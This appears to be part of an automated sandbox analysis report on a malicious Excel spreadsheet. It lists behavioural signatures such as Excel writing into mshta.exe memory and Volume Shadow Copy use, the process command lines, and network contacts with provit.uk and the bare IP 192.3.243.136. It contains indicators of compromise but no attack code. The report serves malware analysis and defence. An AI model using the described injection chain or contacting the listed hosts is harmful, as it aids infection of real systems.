| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4832 wrote to memory of 4136 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 4832 wrote to memory of 4136 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.254.1.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | provit.uk | udp |
| GB | 198.244.140.41:443 | provit.uk | tcp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | r11.o.lencr.org | udp |
| FR | 23.1.254.145:80 | r11.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 41.140.244.198.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 51.189.46.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.254.1.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 175.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 216.254.1.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
Files
memory/4832-0-0x00007FFEC6AF0000-0x00007FFEC6B00000-memory.dmp
memory/4832-3-0x00007FFF06B0D000-0x00007FFF06B0E000-memory.dmp
memory/4832-4-0x00007FFEC6AF0000-0x00007FFEC6B00000-memory.dmp
memory/4832-2-0x00007FFEC6AF0000-0x00007FFEC6B00000-memory.dmp
memory/4832-1-0x00007FFEC6AF0000-0x00007FFEC6B00000-memory.dmp
memory/4832-5-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-6-0x00007FFEC6AF0000-0x00007FFEC6B00000-memory.dmp
memory/4832-7-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-8-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-10-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-9-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-11-0x00007FFEC4330000-0x00007FFEC4340000-memory.dmp
memory/4832-12-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-13-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-14-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-15-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-16-0x00007FFEC4330000-0x00007FFEC4340000-memory.dmp
memory/4136-34-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4136-38-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4136-40-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4832-42-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4136-46-0x00007FFF06A70000-0x00007FFF06C65000-memory.dmp
memory/4136-47-0x00007FF6915E0000-0x00007FF6915E8000-memory.dmp